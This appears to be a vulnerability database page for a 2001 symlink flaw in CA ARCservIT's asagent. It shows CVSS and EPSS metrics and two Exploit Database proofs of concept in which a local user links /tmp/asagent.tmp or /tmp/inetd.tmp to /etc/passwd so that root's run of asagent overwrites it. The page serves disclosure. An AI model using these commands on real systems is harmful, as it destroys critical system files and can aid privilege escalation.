Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
1.2 |
|
AV:L/AC:H/Au:N/C:N/I:P/A:N |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20867
Publication date : 2001-05-17 22h00 +00:00
Author : Jonas Eriksson
EDB Verified : Yes
source: https://www.securityfocus.com/bid/2741/info
ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to overwrite arbitrary files.
When it runs for the first time, 'asagent', opens (and truncates it if it exists) a file in /tmp called 'asagent.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.
This may allow malicious local users to overwrite critical system files.
As user:
je@boxname~> ln -s /etc/passwd /tmp/asagent.tmp
And root:
root@boxname# /usr/CYEagent/asagent start
CA Universal Agent ADV v1.39 started on openview SunOS 5.8
Generic_108528-07 sun4u
ARCserveIT Universal Agent started...
Then,
je@boxname~> ls -la /etc/passwd
-r--r--r-- 1 0 sys 0 May 9 11:59 /etc/passwd
Exploit Database EDB-ID : 20868
Publication date : 2001-05-17 22h00 +00:00
Author : Jonas Eriksson
EDB Verified : Yes
source: https://www.securityfocus.com/bid/2748/info
ARCservIT from Computer Associates contains a vulnerability which may allow malicious local users to corrupt arbitrary files.
When it runs with the parameters 'inet add', 'asagent', opens (and overwrites it if it exists) a file in /tmp called 'inetd.tmp'. 'asagent' does not check to make sure that this file already exists or that is a symbolic link to another file.
This may allow malicious local users to corrupt critical system files.
je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp
And root:
root@boxname# /usr/CYEagent/asagent inet add
Then,
je@boxname~> cat /etc/passwd
asagentd 6051/tcp # ARCserve agent
asagentd 6051/udp # ARCserve agent
Products Mentioned
Configuraton 0
Broadcom>>Arcserve_backup >> Version 6.61
Ca>>Arcserve_backup >> Version 6.63
References